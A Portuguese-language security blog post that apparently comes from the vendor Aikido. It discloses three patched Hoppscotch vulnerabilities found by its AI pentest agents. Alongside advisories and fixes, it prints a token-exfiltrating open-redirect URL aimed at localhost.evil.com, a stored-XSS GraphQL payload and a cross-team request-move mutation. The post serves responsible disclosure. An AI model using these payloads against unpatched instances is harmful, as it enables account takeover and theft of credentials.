Aikido

Aikido Attack encontra múltiplos 0-days no Hoppscotch

Escrito por
Robbe Verwilghen

Introdução

Hoppscotch é um ecossistema de desenvolvimento de API de código aberto, similar ao Postman, com mais de 100.000 usuários mensais. Duas semanas atrás, configuramos uma instância auto-hospedada e executamos nossos agentes de pentest de IA contra ela. Eles encontraram duas vulnerabilidades de alta severidade e uma de média severidade, todas presentes em versões até e incluindo 2026.2.1, e todas corrigidas na versão 2026.3.0:

  • Account takeover via redirecionamento aberto que permite que tokens de autenticação sejam exfiltrados para um domínio malicioso, possibilitando que um atacante se autentique como a vítima.
  • XSS armazenado via Mock Server, onde JavaScript injetado através de um cabeçalho de resposta é executado no contexto da aplicação Hoppscotch, concedendo a um atacante acesso de leitura e escrita a tudo o que a vítima pode ver.
  • Um controle de acesso quebrado no movimento de requisições, onde um usuário de uma equipe pode injetar uma requisição na coleção de outra equipe. Se um membro da equipe alvo a executar, credenciais e chaves de API podem ser exfiltradas.

Todos os três foram divulgados de forma responsável e foram resolvidos.

Remediação

Atualize as instâncias auto-hospedadas do Hoppscotch para a versão 2026.3.0 ou superior.

As vulnerabilidades descobertas foram adicionadas ao banco de dados Aikido Intel:

Redirecionamento aberto resultando em tomada de conta

Alerta: GHSA-7fg7-wx5q-6m3v

CVSS: 8.5 (Alta)

Affected versions: Hoppscotch <= 2026.2.1

Versões corrigidas: 2026.3.0

Hoppscotch possui tanto uma interface web quanto um aplicativo desktop. Para autenticar o aplicativo desktop, uma URL como esta é aberta no navegador: 

http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token

A instância Hoppscotch usa o parâmetro de consulta redirect_uri para enviar os tokens de sessão. É aqui que reside a vulnerabilidade. O back-end tinha a seguinte validação falha na URI:

if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
	throwHTTPErr({
})
}

O código verifica se a URI começa com http://localhost, mas não leva em consideração que domínios maliciosos como http://localhost.evil.com também passam por essa verificação. Como resultado, se uma vítima navega para:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token


Hoppscotch enviaria seus tokens de sessão para http://localhost.evil.com. Uma vez que localhost é um subdomínio do atacante evil.com domínio, em vez de ir para localhost, a requisição vai para o servidor do atacante. Eles poderiam então usar esses tokens para se autenticar como a vítima.

Nossos agentes encontraram o problema na base de código e verificaram isso configurando um listener em um IP público e criando um payload usando sslip.io. Ao usar a URI http://localhost.<attacker-ip>.sslip.io/, o payload ignorou com sucesso a verificação startsWith enquanto forçava o navegador a resolver o endereço para o servidor do atacante. Uma vez que a vítima se autenticou, os tokens de sessão sensíveis foram vazados diretamente para o nosso listener, confirmando que uma tomada de conta completa era possível.

O seguinte pull request resolveu a vulnerabilidade usando um parser de URL adequado: https://github.com/hoppscotch/hoppscotch/pull/6012 

XSS Armazenado via Mock Server

Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0

Hoppscotch inclui um recurso de Mock Server que serve respostas definidas pelo usuário a partir de URLs sob /mock/<subdomain>/. O backend está servindo essas respostas da mesma origem que o aplicativo Hoppscotch, o que significa que cross-site scripting (XSS) no MockServer pode ser usado para exfiltrar e modificar dados do usuário.

Para injetar um payload XSS, os agentes de pentest do Aikido contornaram as restrições da UI, enviando uma requisição da API GraphQL que define o Content-Type cabeçalho de resposta para text/html. Isso não era possível via front-end.

Exemplo de corpo da requisição:

{
    "query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
    "variables": {
        "id": "<REQUEST_ID>",
        "title": "addPet",
        "request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
    }
}

O XSS é acionado assim que o usuário visita o endpoint da API mock. Por exemplo: 

http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

Para testar isso, agentes de IA injetaram um payload console.log no corpo da resposta via API GraphQL, contornando efetivamente as restrições de content-type da UI. Ao navegar para o endpoint mock específico, o navegador executou o script, e os agentes capturaram com sucesso a saída registrada no console.

O seguinte PR resolveu a vulnerabilidade adicionando sanitização e sandboxing com uma Content Security Policy:
https://github.com/hoppscotch/hoppscotch/pull/6006

Controle de Acesso: Mover requisições para outra equipe

Aviso: GHSA-wj4r-hr4h-g98v

CVSS: 6.0 (Médio)

Affected versions: Hoppscotch <= 2026.2.1

Versões corrigidas: 2026.3.0

Hoppscotch permite aos usuários mover ou reordenar requisições entre coleções usando a moveRequest mutação GraphQL. Agentes descobriram que o backend falhou em validar corretamente as permissões para a coleção de destino, permitindo que um atacante "injete" suas próprias requisições em uma coleção pertencente a uma equipe diferente.

A vulnerabilidade existe na lógica de validação do backend: enquanto ele verifica a requisição de origem, ele pula a verificação da equipe de destino se o nextRequestID for definido como nulo. Ao fornecer o destCollID de uma equipe da vítima e deixando o nextRequestID vazio, um atacante pode mover com sucesso uma requisição entre limites de tenant:

{
    "operationName": "MoveTeamRequest",
    "query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
    "variables": {
        "req": "<ATTACKER_REQUEST_ID>",
        "dest": "<VICTIM_COLLECTION_ID>",
        "next": null
    }
}

Isso pode resultar em um impacto na confidencialidade se um membro da equipe da vítima executar, sem saber, a requisição injetada ou a coleção pai. Se isso acontecer, requisições que herdam cabeçalhos de autorização, ou contêm placeholders de variáveis para — por exemplo — chaves de API, os dados sensíveis podem ser exfiltrados para o servidor do atacante.

Abaixo estão os rastros dos agentes identificando a vulnerabilidade:

Examinando relacionamentos de teamID - Estou me perguntando se as requisições podem pertencer a coleções de equipes diferentes sem alterar o teamID. Isso poderia violar a restrição de chave estrangeira se a coleção estiver vinculada a outra equipe. O modelo TeamRequest provavelmente conecta coleções por ID sem impor estritamente que o teamID corresponda a collection.teamID. Em createTeamRequest, eles verificam se o ID da equipe corresponde. No entanto, se mover uma requisição apenas atualiza o collectionID sem alterar o teamID, preciso verificar o esquema Prisma para esclarecer como esses relacionamentos são estruturados. Vamos procurar o esquema no diretório apropriado.

Identificando problemas de controle de acesso - Estou percebendo que o guard verifica apenas se um usuário é membro da equipe associada ao requestID e ignora as permissões para a equipe da coleção de destino. A função moveRequest é protegida por GqlRequestTeamMemberGuard para funções como Editor ou Owner, mas não inclui verificações para GqlCollectionTeamMemberGuard em destCollID. Isso significa que um editor da Equipe A poderia mover uma requisição para a coleção da Equipe B sem ser membro, criando uma séria vulnerabilidade de controle de acesso.

Revisando o tratamento de requisições - Preciso confirmar meu entendimento sobre findRequestAndNextRequest e reorderRequests. Em findRequestAndNextRequest, ele verifica se a requisição existe em srcCollID. Se nextRequestID for fornecido, ele garante que nextRequest pertence à mesma coleção e equipe. No entanto, se nextRequestID for nulo, ele ignora a verificação da propriedade da equipe de destCollID. 

Em reorderRequests, ele bloqueia por request.teamID para as coleções de origem e destino. Mas se destCollID for de outra equipe, ele ainda prossegue com as atualizações sem garantir as verificações de equipe adequadas, o que poderia levar a problemas.

O seguinte PR resolveu a vulnerabilidade adicionando uma verificação de autorização:
https://github.com/hoppscotch/hoppscotch/pull/6006

Crédito a TristanInSec, que também identificou independentemente a vulnerabilidade XSS.

Leia mais sobre nossa pesquisa em pentest com IA:
- SvelteSpill: Um bug de Cache Deception em SvelteKit + Vercel
- PromptPwnd: Vulnerabilidades de Prompt Injection em GitHub Actions Usando Agentes de IA

Saiba mais sobre como nossos agentes de pentest com IA funcionam:
- Como tornamos nossos agentes de IA seguros por design
- Como o pentest autônomo se compara ao pentest manual

Compartilhar:

https://www.aikido.dev/blog/ai-pentest-hoppscotch-vulnerabilities

Assine para receber notícias

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.